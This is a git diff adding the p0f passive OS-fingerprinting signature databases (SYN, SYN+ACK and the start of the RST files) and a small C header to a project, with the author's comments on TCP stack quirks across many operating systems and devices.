(1) +16384:64:0:44:M*:.:Linux:2.0.3x (2) + +# Endian snafu! Nelson says "ha-ha": +2:64:0:44:M*:.:Linux:2.0.3x (MkLinux) on Mac (1) +64:64:0:44:M*:.:Linux:2.0.3x (MkLinux) on Mac (2) + +S4:64:1:60:M1360,S,T,N,W0:.:Linux:2.4 (Google crawlbot) + +# Linux 2.6.0-test has an identical footprint as 2.4. I +# wouldn't put it here until 2.6 gets a bit more, err, +# mature (and perhaps starts to differ ;-), but many +# people keep submitting 2.6.0-tests. + +S2:64:1:60:M*,S,T,N,W0:.:Linux:2.4 (big boy) +S3:64:1:60:M*,S,T,N,W0:.:Linux:2.4.18 and newer +S4:64:1:60:M*,S,T,N,W0:.:Linux:2.4/2.6 + +S3:64:1:60:M*,S,T,N,W1:.:Linux:2.5 (sometimes 2.4) (1) +S4:64:1:60:M*,S,T,N,W1:.:Linux:2.5/2.6 (sometimes 2.4) (2) +S3:64:1:60:M*,S,T,N,W2:.:Linux:2.5 (sometimes 2.4) (3) +S4:64:1:60:M*,S,T,N,W2:.:Linux:2.5 (sometimes 2.4) (4) + +S20:64:1:60:M*,S,T,N,W0:.:Linux:2.2.20 and newer +S22:64:1:60:M*,S,T,N,W0:.:Linux:2.2 (1) +S11:64:1:60:M*,S,T,N,W0:.:Linux:2.2 (2) + +# Popular cluster config scripts disable timestamps and +# selective ACK: + +S4:64:1:48:M1460,N,W0:.:Linux:2.4 in cluster + +# This needs to be investigated. On some systems, WSS +# is selected as a multiple of MTU instead of MSS. I got +# many submissions for this for many late versions of 2.4: + +T4:64:1:60:M1412,S,T,N,W0:.:Linux:2.4 (late, uncommon) + +# This happens only over loopback, but let's make folks happy: +32767:64:1:60:M16396,S,T,N,W0:.:Linux:2.4 (local) +S8:64:1:60:M3884,S,T,N,W0:.:Linux:2.2 (local) + +# Opera visitors: +16384:64:1:60:M*,S,T,N,W0:.:-Linux:2.2 (Opera?) +32767:64:1:60:M*,S,T,N,W0:.:-Linux:2.4 (Opera?) + +# Some fairly common mods: +S4:64:1:52:M*,N,N,S,N,W0:.:Linux:2.4 w/o timestamps +S22:64:1:52:M*,N,N,S,N,W0:.:Linux:2.2 w/o timestamps + +# ----------------- FreeBSD ----------------- + +16384:64:1:44:M*:.:FreeBSD:2.0-4.2 +16384:64:1:60:M*,N,W0,N,N,T:.:FreeBSD:4.4 (1) + +1024:64:1:60:M*,N,W0,N,N,T:.:FreeBSD:4.4 (2) + +57344:64:1:44:M*:.:FreeBSD:4.6-4.8 (no RFC1323) +57344:64:1:60:M*,N,W0,N,N,T:.:FreeBSD:4.6-4.9 + +32768:64:1:60:M*,N,W0,N,N,T:.:FreeBSD:4.8-5.1 (or MacOS X 10.2-10.3) +65535:64:1:60:M*,N,W0,N,N,T:.:FreeBSD:4.7-5.2 (or MacOS X 10.2-10.3) (1) +65535:64:1:60:M*,N,W1,N,N,T:.:FreeBSD:4.7-5.2 (or MacOS X 10.2-10.3) (2) + +65535:64:1:60:M*,N,W0,N,N,T:Z:FreeBSD:5.1-current (1) +65535:64:1:60:M*,N,W1,N,N,T:Z:FreeBSD:5.1-current (2) +65535:64:1:60:M*,N,W2,N,N,T:Z:FreeBSD:5.1-current (3) + +65535:64:1:44:M*:Z:FreeBSD:5.2 (no RFC1323) + +# 16384:64:1:60:M*,N,N,N,N,N,N,T:.:FreeBSD:4.4 (w/o timestamps) + +# ----------------- NetBSD ------------------ + +16384:64:0:60:M*,N,W0,N,N,T:.:NetBSD:1.3 +65535:64:0:60:M*,N,W0,N,N,T0:.:-NetBSD:1.6 (Opera) +16384:64:1:60:M*,N,W0,N,N,T0:.:NetBSD:1.6 +65535:64:1:60:M*,N,W1,N,N,T0:.:NetBSD:1.6W-current (DF) +65535:64:1:60:M*,N,W0,N,N,T0:.:NetBSD:1.6X (DF) +32768:64:1:60:M*,N,W0,N,N,T0:.:NetBSD:1.6Z (DF) + +# ----------------- OpenBSD ----------------- + +16384:64:1:64:M*,N,N,S,N,W0,N,N,T:.:OpenBSD:3.0-3.4 +57344:64:1:64:M*,N,N,S,N,W0,N,N,T:.:OpenBSD:3.3-3.4 +16384:64:0:64:M*,N,N,S,N,W0,N,N,T:.:OpenBSD:3.0-3.4 (scrub) +65535:64:1:64:M*,N,N,S,N,W0,N,N,T:.:-OpenBSD:3.0-3.4 (Opera) + +# ----------------- Solaris ----------------- + +S17:64:1:64:N,W3,N,N,T0,N,N,S,M*:.:Solaris:8 (RFC1323 on) +S17:64:1:48:N,N,S,M*:.:Solaris:8 (1) +S17:255:1:44:M*:.:Solaris:2.5 to 7 + +# Sometimes, just sometimes, Solaris feels like coming up with +# rather arbitrary MSS values ;-) + +S6:255:1:44:M*:.:Solaris:2.5-7 +S23:64:1:48:N,N,S,M*:.:Solaris:8 (2) +S34:64:1:48:M*,N,N,S:.:Solaris:9 +S44:255:1:44:M*:.:Solaris:7 + +4096:64:0:44:M1460:.:SunOS:4.1.x + +S34:64:1:52:M*,N,W0,N,N,S:.:Solaris:10 (beta) +32850:64:1:64:M*,N,N,T,N,W1,N,N,S:.:Solaris:10 1203 + +# ----------------- IRIX -------------------- + +49152:60:0:44:M*:.:IRIX:6.2-6.4 +61440:60:0:44:M*:.:IRIX:6.2-6.5 +49152:60:0:52:M*,N,W2,N,N,S:.:IRIX:6.5 (RFC1323) (1) +49152:60:0:52:M*,N,W3,N,N,S:.:IRIX:6.5 (RFC1323) (2) + +61440:60:0:48:M*,N,N,S:.:IRIX:6.5.12-6.5.21 (1) +49152:60:0:48:M*,N,N,S:.:IRIX:6.5.12-6.5.21 (2) + +49152:60:0:64:M*,N,W2,N,N,T,N,N,S:.:IRIX:6.5 IP27 + +# ----------------- Tru64 ------------------- +# Tru64 and OpenVMS share the same stack on occassions. +# Relax. + +32768:60:1:48:M*,N,W0:.:Tru64:4.0 (or OS/2 Warp 4) +32768:60:0:48:M*,N,W0:.:Tru64:5.0 (or OpenVMS 7.x on Compaq 5.0 stack) +8192:60:0:44:M1460:.:Tru64:5.1 (no RFC1323) (or QNX 6) +61440:60:0:48:M*,N,W0:.:Tru64:v5.1a JP4 (or OpenVMS 7.x on Compaq 5.x stack) + +# ----------------- OpenVMS ----------------- + +6144:64:1:60:M*,N,W0,N,N,T:.:OpenVMS:7.2 (Multinet 4.3-4.4 stack) + +# ----------------- MacOS ------------------- + +S2:255:1:48:M*,W0,E:.:MacOS:8.6 classic + +16616:255:1:48:M*,W0,E:.:MacOS:7.3-8.6 (OTTCP) +16616:255:1:48:M*,N,N,N,E:.:MacOS:8.1-8.6 (OTTCP) +32768:255:1:48:M*,W0,N:.:MacOS:9.0-9.2 + +32768:255:1:48:M1380,N,N,N,N:.:MacOS:9.1 (1) (OT 2.7.4) +65535:255:1:48:M*,N,N,N,N:.:MacOS:9.1 (2) (OT 2.7.4) + +# ----------------- Windows ----------------- + +# Windows TCP/IP stack is a mess. For most recent XP, 2000 and +# even 98, the pathlevel, not the actual OS version, is more +# relevant to the signature. They share the same code, so it would +# seem. Luckily for us, almost all Windows 9x boxes have an +# awkward MSS of 536, which I use to tell one from another +# in most difficult cases. + +8192:32:1:44:M*:.:Windows:3.11 (Tucows) +S44:64:1:64:M*,N,W0,N,N,T0,N,N,S:.:Windows:95 +8192:128:1:64:M*,N,W0,N,N,T0,N,N,S:.:Windows:95b + +# There were so many tweaking tools and so many stack versions for +# Windows 98 it is no longer possible to tell them from each other +# without some very serious research. Until then, there's an insane +# number of signatures, for your amusement: + +S44:32:1:48:M*,N,N,S:.:Windows:98 (low TTL) (1) +8192:32:1:48:M*,N,N,S:.:Windows:98 (low TTL) (2) +%8192:64:1:48:M536,N,N,S:.:Windows:98 (13) +%8192:128:1:48:M536,N,N,S:.:Windows:98 (15) +S4:64:1:48:M*,N,N,S:.:Windows:98 (1) +S6:64:1:48:M*,N,N,S:.:Windows:98 (2) +S12:64:1:48:M*,N,N,S:.:Windows:98 (3 +T30:64:1:64:M1460,N,W0,N,N,T0,N,N,S:.:Windows:98 (16) +32767:64:1:48:M*,N,N,S:.:Windows:98 (4) +37300:64:1:48:M*,N,N,S:.:Windows:98 (5) +46080:64:1:52:M*,N,W3,N,N,S:.:Windows:98 (RFC1323) +65535:64:1:44:M*:.:Windows:98 (no sack) +S16:128:1:48:M*,N,N,S:.:Windows:98 (6) +S16:128:1:64:M*,N,W0,N,N,T0,N,N,S:.:Windows:98 (7) +S26:128:1:48:M*,N,N,S:.:Windows:98 (8) +T30:128:1:48:M*,N,N,S:.:Windows:98 (9) +32767:128:1:52:M*,N,W0,N,N,S:.:Windows:98 (10) +60352:128:1:48:M*,N,N,S:.:Windows:98 (11) +60352:128:1:64:M*,N,W2,N,N,T0,N,N,S:.:Windows:98 (12) + +# What's with 1414 on NT? +T31:128:1:44:M1414:.:Windows:NT 4.0 SP6a (1) +64512:128:1:44:M1414:.:Windows:NT 4.0 SP6a (2) +8192:128:1:44:M*:.:Windows:NT 4.0 (older) + +# Windows XP and 2000. Most of the signatures that were +# either dubious or non-specific (no service pack data) +# were deleted and replaced with generics at the end. + +65535:128:1:48:M*,N,N,S:.:Windows:2000 SP4, XP SP1 +%8192:128:1:48:M*,N,N,S:.:Windows:2000 SP2+, XP SP1 (seldom 98 4.10.2222) +S20:128:1:48:M*,N,N,S:.:Windows:SP3 +S45:128:1:48:M*,N,N,S:.:Windows:2000 SP4, XP SP 1 (2) +40320:128:1:48:M*,N,N,S:.:Windows:2000 SP4 + +S6:128:1:48:M*,N,N,S:.:Windows:XP, 2000 SP2+ +S12:128:1:48:M*,N,N,S:.:Windows:XP SP1 (1) +S44:128:1:48:M*,N,N,S:.:Windows:XP Pro SP1, 2000 SP3 +64512:128:1:48:M*,N,N,S:.:Windows:XP SP1, 2000 SP3 (2) +32767:128:1:48:M*,N,N,S:.:Windows:XP SP1, 2000 SP4 (3) + +# Odds, ends, mods: + +S52:128:1:48:M1260,N,N,S:.:Windows:XP/2000 via Cisco +65520:128:1:48:M*,N,N,S:.:Windows:XP bare-bone +16384:128:1:52:M536,N,W0,N,N,S:.:Windows:2000 w/ZoneAlarm? +2048:255:0:40:.:.:Windows:.NET Enterprise Server +44620:64:0:48:M*,N,N,S:.:Windows:ME no SP (?) +S6:255:1:48:M536,N,N,S:.:Windows:95 winsock 2 +32768:32:1:52:M1460,N,W0,N,N,S:.:Windows:2003 AS + +# No need to be more specific, it passes: +*:128:1:48:M*,N,N,S:U:-Windows:XP/2000 while downloading (leak!) + +# ----------------- HP/UX ------------------- + +32768:64:1:44:M*:.:HP-UX:B.10.20 +32768:64:1:48:M*,W0,N:.:HP-UX:11.00-11.11 + +# Whoa. Hardcore WSS. +0:64:0:48:M*,W0,N:.:HP-UX:B.11.00 A (RFC1323) + +# ----------------- RiscOS ------------------ + +16384:64:1:68:M1460,N,W0,N,N,T,N,N,?12:.:RISC OS:3.70-4.36 (inet 5.04) +12288:32:0:44:M536:.:RISC OS:3.70 inet 4.10 +4096:64:1:56:M1460,N,N,T:T:.:RISC OS:3.70 freenet 2.00 + +# ----------------- BSD/OS ------------------ + +8192:64:1:60:M1460,N,W0,N,N,T:.:BSD/OS:3.1-4.3 (or MacOS X 10.2) + +# ---------------- NetwonOS ----------------- + +4096:64:0:44:M1420:.:NewtonOS:2.1 + +# ---------------- NeXTSTEP ----------------- + +S8:64:0:44:M512:.:NeXTSTEP:3.3 (1) +S4:64:0:44:M1024:.:NeXTSTEP:3.3 (2) + +# ------------------ BeOS ------------------- + +1024:255:0:48:M*,N,W0:.:BeOS:5.0-5.1 +12288:255:0:44:M*:.:BeOS:5.0.x + +# ------------------ OS/400 ----------------- + +8192:64:1:60:M1440,N,W0,N,N,T:.:OS/400:V4R4/R5 +8192:64:0:44:M536:.:OS/400:V4R3/M0 +4096:64:1:60:M1440,N,W0,N,N,T:.:OS/400:V4R5 + CF67032 + +28672:64:0:44:M1460:A:OS/390:? + +# ------------------ ULTRIX ----------------- + +16384:64:0:40:.:.:ULTRIX:4.5 + +# ------------------- QNX ------------------- + +S16:64:0:44:M512:.:QNX:demodisk + +# ------------------ Novell ----------------- + +16384:128:1:44:M1460:.:Novell:NetWare 5.0 +6144:128:1:44:M1460:.:Novell:IntranetWare 4.11 +6144:128:1:44:M1368:.:Novell:BorderManager ? + +# According to rfp: +6144:128:1:52:M*,W0,N,S,N,N:.:Novell:Netware 6 SP3 + +# -------------- SCO UnixWare --------------- + +S3:64:1:60:M1460,N,W0,N,N,T:.:SCO:UnixWare 7.1 +S17:64:1:60:M1380,N,W0,N,N,T:.:SCO:UnixWare 7.1.3 MP3 +S23:64:1:44:M1380:.:SCO:OpenServer 5.0 + +# ------------------- DOS ------------------- + +2048:255:0:44:M536:.:DOS:Arachne via WATTCP/1.05 + +# ------------------ OS/2 ------------------- + +S56:64:0:44:M512:.:OS/2:4 +28672:64:0:44:M1460:.:OS/2:Warp 4.0 + +# ----------------- TOPS-20 ----------------- + +# Another hardcore MSS, one of the ACK leakers hunted down. +0:64:0:44:M1460:A:TOPS-20:version 7 + +# ------------------ AMIGA ------------------ + +S32:64:1:56:M*,N,N,S,N,N,?12:.:AMIGA:3.9 BB2 with Miami stack + +# ------------------ Minix ------------------ + +# Not quite sure. +# 8192:210:0:44:M1460:X:@Minix:? + +# ------------------ Plan9 ------------------ + +65535:255:0:48:M1460,W0,N:.:Plan9:edition 4 + +# ----------------- AMIGAOS ----------------- + +16384:64:1:48:M1560,N,N,S:.:AMIGAOS:3.9 BB2 MiamiDX + +# ----------------- FreeMiNT ---------------- + +S44:255:0:44:M536:.:FreeMiNT:1 patch 16A (Atari) + +########################################### +# Appliance / embedded / other signatures # +########################################### + +# ---------- Firewalls / routers ------------ + +S12:64:1:44:M1460:.:@Checkpoint:(unknown 1) +S12:64:1:48:N,N,S,M1460:.:@Checkpoint:(unknown 2) +4096:32:0:44:M1460:.:ExtremeWare:4.x +60352:64:0:52:M1460,N,W2,N,N,S:.:Clavister:firewall 7.x + +S32:64:0:68:M512,N,W0,N,N,T,N,N,?12:.:Nokia:IPSO w/Checkpoint NG FP3 +S16:64:0:68:M1024,N,W0,N,N,T,N,N,?12:.:Nokia:IPSO 3.7 build 026 + +S4:64:1:60:W0,N,S,T,M1460:.:FortiNet:FortiGate 50 + +8192:64:1:44:M1460:.:@Eagle:Secure Gateway + +# ------- Switches and other stuff ---------- + +4128:255:0:44:M*:Z:Cisco:7200, Catalyst 3500, et +S8:255:0:44:M*:.:Cisco:12008 +60352:128:1:64:M1460,N,W2,N,N,T,N,N,S:.:Alteon:ACEswitch +64512:128:1:44:M1370:.:Nortel:Contivity Client + +# ---------- Caches and whatnots ------------ + +8192:64:1:64:M1460,N,N,S,N,W0,N,N,T:.:NetCache:5.2 +16384:64:1:64:M1460,N,N,S,N,W0,N:.:NetCache:5.3 +65535:64:1:64:M1460,N,N,S,N,W*,N,N,T:.:NetCache:5.3-5.5 +20480:64:1:64:M1460,N,N,S,N,W0,N,N,T:.:NetCache:4.1 + +32850:64:1:64:N,W1,N,N,T,N,N,S,M*:.:NetCache:Data OnTap 5.x + +65535:64:0:60:M1460,N,W0,N,N,T:.:CacheFlow:CacheOS 4.1 +8192:64:0:60:M1380,N,N,N,N,N,N,T:.:CacheFlow:CacheOS 1.1 + +S4:64:0:48:M1460,N,N,S:.:Cisco:Content Engine + +27085:128:0:40:.:.:Dell:PowerApp cache (Linux-based) + +65535:255:1:48:N,W1,M1460:.:Inktomi:crawler +S1:255:1:60:M1460,S,T,N,W0:.:LookSmart:ZyBorg + +16384:255:0:40:.:.:Proxyblocker:(what's this?) + +65535:255:0:48:M*,N,N,S:.:Redline: T|X 2200 + +# ----------- Embedded systems -------------- + +S9:255:0:44:M536:.:PalmOS:Tungsten C +S5:255:0:44:M536:.:PalmOS:3/4 +S4:255:0:44:M536:.:PalmOS:3.5 +2948:255:0:44:M536:.:PalmOS:3.5.3 (Handera) +S29:255:0:44:M536:.:PalmOS:5.0 +16384:255:0:44:M1398:.:PalmOS:5.2 (Clie) + +S23:64:1:64:N,W1,N,N,T,N,N,S,M1460:.:SymbianOS:7 +8192:255:0:44:M1460:.:SymbianOS:6048 (Nokia 7650?) +8192:255:0:44:M536:.:SymbianOS:(Nokia 9210?) +S22:64:1:56:M1460,T,S:.:SymbianOS:? (SE P800?) +S36:64:1:56:M1360,T,S:.:SymbianOS:60xx (Nokia 6600?) + +32768:32:1:44:M1460:.:Windows:CE 3 + +# Perhaps S4? +5840:64:1:60:M1452,S,T,N,W1:.:Zaurus:3.10 + +32768:128:1:64:M1460,N,W0,N,N,T0,N,N,S:.:PocketPC:2002 + +S1:255:0:44:M346:.:Contiki:1.1-rc0 + +4096:128:0:44:M1460:.:Sega:Dreamcast Dreamkey 3.0 +T5:64:0:44:M536:.:Sega:Dreamcast HKT-3020 (browser disc 51027) +S22:64:1:44:M1460:.:Sony:Playstation 2 (SOCOM?) + +S12:64:0:44:M1452:.:AXIS:Printer Server 5600 v5.64 + +3100:32:1:44:M1460:.:Windows:CE 2.0 + +#################### +# Fancy signatures # +#################### + +1024:64:0:40:.:.:-*NMAP:syn scan (1) +2048:64:0:40:.:.:-*NMAP:syn scan (2) +3072:64:0:40:.:.:-*NMAP:syn scan (3) +4096:64:0:40:.:.:-*NMAP:syn scan (4) + +1024:64:0:60:W10,N,M265,T,E:P:-*NMAP:OS detection probe (1) +2048:64:0:60:W10,N,M265,T,E:P:-*NMAP:OS detection probe (2) +3072:64:0:60:W10,N,M265,T,E:P:-*NMAP:OS detection probe (3) +4096:64:0:60:W10,N,M265,T,E:P:-*NMAP:OS detection probe (4) + +1024:64:0:60:W10,N,M265,T,E:PF:-*NMAP:OS detection probe w/flags (1) +2048:64:0:60:W10,N,M265,T,E:PF:-*NMAP:OS detection probe w/flags (2) +3072:64:0:60:W10,N,M265,T,E:PF:-*NMAP:OS detection probe w/flags (3) +4096:64:0:60:W10,N,M265,T,E:PF:-*NMAP:OS detection probe w/flags (4) + +12345:255:0:40:.:A:-p0f:sendsyn utility + +# UFO - see tmp/*: +56922:128:0:40:.:A:-@Mysterious:port scanner (?) +5792:64:1:60:M1460,S,T,N,W0:T:-@Mysterious:NAT device (2nd tstamp) +S12:128:1:48:M1460,E:P:@Mysterious:Chello proxy (?) +S23:64:1:64:N,W1,N,N,T,N,N,S,M1380:.:@Mysterious:GPRS gateway (?) + +##################################### +# Generic signatures - just in case # +##################################### + +*:128:1:52:M*,N,W0,N,N,S:.:@Windows:XP/2000 (RFC1323 no tstamp) +*:128:1:64:M*,N,W0,N,N,T0,N,N,S:.:@Windows:XP/2000 (RFC1323) +*:128:1:64:M*,N,W*,N,N,T0,N,N,S:.:@Windows:XP (RFC1323, w+) +*:128:1:48:M536,N,N,S:.:@Windows:98 +*:128:1:48:M*,N,N,S:.:@Windows:XP/2000 + + diff --git a/src/tools/p0f/p0fa.fp b/src/tools/p0f/p0fa.fp new file mode 100644 index 0000000..c42b31d --- /dev/null +++ b/src/tools/p0f/p0fa.fp @@ -0,0 +1,167 @@ +# +# p0f - SYN+ACK fingerprints +# -------------------------- +# +# .-------------------------------------------------------------------------. +# | The purpose of this file is to cover signatures for outgoing TCP/IP | +# | connections (SYN+ACK packets). This mode of operation can be enabled | +# | with -A option. Please refer to p0f.fp for information on the metrics | +# | used to create a signature, and for a guide on adding new entries to | +# | those files. This database is somewhat neglected, and is looking for a | +# | caring maintainer. | +# `-------------------------------------------------------------------------' +# +# (C) Copyright 2000-2004 by Michal Zalewski +# +# Plenty of signatures contributed in bulk by rain forest puppy, Paul Woo and +# Michael Bauer. +# +# Submit all additions to the authors. Read p0f.fp before adding any +# signatures. Run p0f -A -C after making any modifications. This file is +# NOT compatible with SYN or RST+ modes. Use only with -A option. +# +# Feel like contributing? You can run p0f -A -K, then test/tryid -iR nnn... +# +# IMPORTANT INFORMATION ABOUT THE INTERDEPENDENCY OF SYNs AND SYN+ACKs +# -------------------------------------------------------------------- +# +# Some systems would have different SYN+ACK fingerprints depending on +# the system that sent SYN. More specifically, RFC1323, RFC2018 and +# RFC1644 extensions sometimes show up only if SYN had them enabled. +# +# Also, some silly systems may copy WSS from the SYN packet you've sent, +# in which case, you need to wildcard the value. Use test/sendsyn.c, which +# uses a distinct WSS of 12345, to test for this condition if unsure. +# +# IMPORTANT INFORMATION ABOUT DIFFERENCES IN COMPARISON TO p0f.fp: +# ---------------------------------------------------------------- +# +# - 'A' quirk would be present on almost every signature here. ACK number +# is unusual for SYN packets, but is a commonplace in SYN+ACK packets, +# of course. It is still possible to have a signature without 'A', when +# the ACK flag is present but the value is zero - this, however, is +# very uncommon. +# +# - 'T' quirk would show up on almost all signatures for systems implementing +# RFC1323. The second timestamp is only unusual for SYN packets. SYN+ACK +# are expected to have it set. +# + +########################## +# Standard OS signatures # +########################## + +# ---------------- Linux ------------------- + +32736:64:0:44:M*:A:Linux:2.0 +S22:64:1:60:M*,S,T,N,W0:AT:Linux:2.2 +S22:64:1:52:M*,N,N,S,N,W0:A:Linux:2.2 w/o timestamps + +5792:64:1:60:M*,S,T,N,W0:AT:Linux:older 2.04 +5792:64:1:60:M*,S,T,N,W0:ZAT:Linux:recent 2.4 (1) +S4:64:1:44:M*:ZA:Linux:recent 2.4 (2) +5792:64:1:44:M*:ZA:Linux:recent 2.4 (3) + +S4:64:1:52:M*,N,N,S,N,W0:ZA:Linux:2.4 w/o timestamps + +# --------------- Windows ------------------ + +65535:128:1:64:M*,N,W0,N,N,T0,N,N,S:A:Windows:2000 SP4 +S44:128:1:64:M*,N,W0,N,N,T0,N,N,S:A:Windows:XP SP1 +S12:128:1:64:M*,N,W0,N,N,T0,N,N,S:A:Windows:2000 (SP1+) +S6:128:1:44:M*:A:Windows:NT 4.0 SP1+ +65535:128:1:48:M*,N,N,S:A:Windows:98 (SE) +65535:128:1:44:M*:A:Windows:2000 (1) +16616:128:1:44:M*:A:Windows:2003 +16384:128:1:44:M*:A:Windows:2000 (2) +S16:128:1:44:M*:A:Windows:2000 (3) + +# ------------------- OpenBSD -------------- + +17376:64:1:64:M*,N,N,S,N,W0,N,N,T:AT:OpenBSD:3.3 + +# ------------------- NetBSD ---------------- + +16384:64:0:60:M*,N,W0,N,N,T0:AT:NetBSD:1.6 + +# ----------------- HP/UX ------------------ + +32768:64:1:44:M*:A:HPUX:10.20 + +# ----------------- Tru64 ------------------ + +S23:60:0:48:M*,N,W0:A:Tru64:5.0 (1) +65535:64:0:44:M*:A:Tru64:5.0 (2) + +# ----------------- Novell ----------------- + +6144:128:1:52:M*,W0,N,S,N,N:A:Novell:Netware 6.0 (SP3) +32768:128:1:44:M*:A:Novell:Netware 5.1 + +# ------------------ IRIX ------------------ + +60816:60:1:60:M*,N,W0,N,N,T:AT:IRIX:6.5.0 + +# ----------------- Solaris ---------------- + +49232:64:1:64:N,N,T,M*,N,W0,N,N,S:AT:Solaris:9 +S1:255:1:60:N,N,T,N,W0,M*:AT:Solaris:7 +24656:64:1:44:M*:A:Solaris:8 + +# ----------------- FreeBSD ---------------- + +65535:64:1:60:M*,N,W1,N,N,T:AT:FreeBSD:5.0 +57344:64:1:44:M*:A:FreeBSD:4.6-4.8 +65535:64:1:44:M*:A:FreeBSD:4.4 + +57344:64:1:48:M1460,N,W0:A:FreeBSD:4.6-4.8 (wscale) +57344:64:1:60:M1460,N,W0,N,N,T:AT:FreeBSD:4.6-4.8 (RFC1323) + +# ------------------- AIX ------------------ + +S17:255:1:44:M536:A:AIX:4.2 + +S12:64:0:44:M1460:A:AIX:5.2 ML04 (1) +S42:64:0:44:M1460:A:AIX:5.2 ML04 (2) + +# ------------------ BSD/OS ---------------- + +S6:64:1:60:M1460,N,W0,N,N,T:AT:BSD/OS:4.0.x + +# ------------------ OS/390 ---------------- + +2048:64:0:44:M1460:A:OS/390:? + +# ------------------ Novell ---------------- + +6144:128:1:44:M1400:A:Novell:iChain 2.2 + +# ------------------ MacOS ----------------- + +33304:64:1:60:M*,N,W0,N,N,T:AT:MacOS:X 10.2.6 + +########################################### +# Appliance / embedded / other signatures # +########################################### + +16384:64:1:44:M1460:A:F5:BigIP LB 4.1.x (sometimes FreeBSD) +4128:255:0:44:M*:ZA:Cisco:Catalyst 2900 12.0(5) +4096:60:0:44:M*:A:Brother:HL-1270N +S1:30:0:44:M1730:A:Cyclades:PR3000 +8192:64:1:44:M1460:A:NetApp:Data OnTap 6.x +5792:64:1:60:W0,N,N,N,T,M1460:ZAT:FortiNet:FortiGate 50 +S1:64:1:44:M1460:A:NetCache:5.3.1 +S1:64:0:44:M512:A:Printer:controller (?) +4096:128:0:40:.:A:Sequent:DYNIX 4.2.x +S16:64:0:44:M512:A:3Com:NBX PBX (BSD/OS 2.1) +16000:64:0:44:M1442:A:CastleNet:DSL router +S2:64:0:44:M32728:A:D-Link:DSL-500 +S4:60:0:44:M1460:A:HP:JetDirect A.05.32 +8576:64:1:44:M*:A:Raptor:firewall +S12:64:1:44:M1400:A:Cequrux Firewall:4.x +2048:255:0:44:M1400:A:Netgear:MR814 + + +# Whatever they run. EOL boys... +S6:128:1:48:M1460,E:PA:@Slashdot:or BusinessWeek (???) +S6:128:1:48:M1380,E:PA:QUIT_SCANNING:THE_NSA!!!! diff --git a/src/tools/p0f/p0fexport.h b/src/tools/p0f/p0fexport.h new file mode 100644 index 0000000..f48cfb7 --- /dev/null +++ b/src/tools/p0f/p0fexport.h @@ -0,0 +1,15 @@ + +void set_ackmode(void); +int get_ackmode(void); +void set_rstmode(void); +void set_fuzzy(void); +/* -l */ +/* +find_masq = 1; +always_sig = 1; +no_banner = 1; +*/ + + +char *p0f_parse(const uint8_t* , uint16_t ); +void load_config(void); diff --git a/src/tools/p0f/p0fr.fp b/src/tools/p0f/p0fr.fp new file mode 100644 index 0000000..9be69e4 --- /dev/null +++ b/src/tools/p0f/p0fr.fp @@ -0,0 +1,193 @@ +# +# p0f - RST+ signatures +# --------------------- +# +# .-------------------------------------------------------------------------. +# | The purpose of this file is to cover signatures for reset packets | +# | (RST and RST+ACK). This mode of operation can be enabled with -A option | +# | and is considered to be least accurate. Please refer to p0f.fp for more | +# | information on the metrics used and for a guide on adding new entries | +# | to this file. This database is looking for a caring maintainer. | +# `-------------------------------------------------------------------------' +# +# (C) Copyright 2000-2004 by Michal Zalewski +# +# Submit all additions to the authors. Read p0f.fp before adding any +# signatures. Run p0f -R -C after making any modifications. This file is +# NOT compatible with SYN or SYN+ACK modes. Use only with -R option. +# +# +# IMPORTANT INFORMATION ABOUT THE INTERDEPENDENCY OF SYNs AND RST+ACKs +# -------------------------------------------------------------------- +# +# Some silly systems may copy WSS from the SYN packet you've sent, +# in which case, you need to wildcard the value. Use test/sendsyn.c for +# "connection refused" and test/sendack.c for "connection dropped" signatures +# - both tools use a distinct WSS of 12345, which is an easy way to tell +# if WSS should be wildcarded. +# +# IMPORTANT INFORMATION ABOUT COMMON IMPLEMENTATION FLAWS +# ------------------------------------------------------- +# +# There are several types of RST packets you will surely encounter. +# Some systems, including most reputable ones, are severily brain-damaged +# and generate some illegal combinations from time to time. This is WAY +# more common than with other packet types, because a broken RST does not +# have any immediately noticable consequences; besides, the RFC793 is fairly +# difficult to comprehend when it comes to this type of responses. +# +# P0f will give you a hint on new RST signatures, but it is your duty to +# diagnose the problem and append the proper description when adding the +# signature. Below is a list of valid and invalid states: +# +# - "Connection refused" message: this is a RST+ACK packet, SEQ number +# set to zero, ACK number non-zero. This is a valid response and +# is denoted by p0f as "refused" (quirk combination: K, 0, A). +# +# There are some very cases when this is incorrectly sent in response +# to an unexpected ACK packet. +# +# - Illegal combination: RST+ACK packet, SEQ number set to zero, ACK +# number zero. This is denoted by p0f as "invalid-K0" (quirk combination: +# K and 0, no A). +# +# - Illegal combination: RST+ACK, SEQ number non-zero, ACK number zero +# or non-zero. This is denoted by p0f as "invalid-K" and +# "invalid-KA", respectively (quirk combinations, K, sometimes A, no 0). +# +# This combination is frequently generated by Cisco routers in certain +# configurations in response to ACK (!). Brain dead, by all means, and +# usually a result of (incorrectly) setting ACK flag on a valid RST packet. +# +# - "Connection dropped": RST, sequence number non-zero, ACK zero or +# non-zero. This is denoted as "dropped" and "dropped 2" respectively +# (quirk combinations: no K, sometimes A, no 0). While the ACK value should +# be zeroed, it is not strictly against the RFC, and some systems either +# leak memory there or set it to the value of SEQ. +# +# The latter variant, with non-zero ACK, is particularly common on +# Windows. +# +# - Ilegal combination: RST, SEQ number zero, ACK zero or non-zero. +# Denoted as "invalid-0" and "invalid-0A". Obviously incorrect, and +# will not have the desired effect. +# +# Ok. That's it. RFC793 does not get much respect nowadays. +# +# IMPORTANT INFORMATION ABOUT DIFFERENCES IN COMPARISON TO p0f.fp: +# ---------------------------------------------------------------- +# +# - Packet size may be wildcarded. The meaning of wildcard is, however, +# hardcoded as 'size > PACKET_BIG' (defined as 100 in config.h). This is +# because some stupid devices (including Ciscos) tend to send back RST +# packets quoting anything you have sent them in ACK packet previously. +# Use sparingly, only if -X confirms the device actually bounces back +# whatever you send. +# +# - A new quirk, 'K', is introduced to denote RST+ACK packets (as opposed +# to plain RST). This quirk is only compatible with this mode. +# +# - A new quirk, 'Q', is used to denote SEQ number equal to ACK number. +# This happens from time to time in RST and RST+ACK packets, but +# is practically unheard of in other modes. +# +# - A new quirk, '0', is used to denote packets with SEQ number set to 0. +# This happens on some RSTs, and is once again unheard of in other modes. +# +# - 'D' quirk is not a bug; some devices send verbose text messages +# describing why a connection got dropped; it's actually suggested +# by RFC1122. Of course, some systems have their own standards, and +# put all kinds of crap in their RST responses (including FreeBSD and +# Cisco). Use -X to examine those values. +# +# - 'A' and 'T' quirks are not an anomaly in certain cases for the reasons +# described in p0fa.fp. +# + +################################ +# Connection refused - RST+ACK # +################################ + 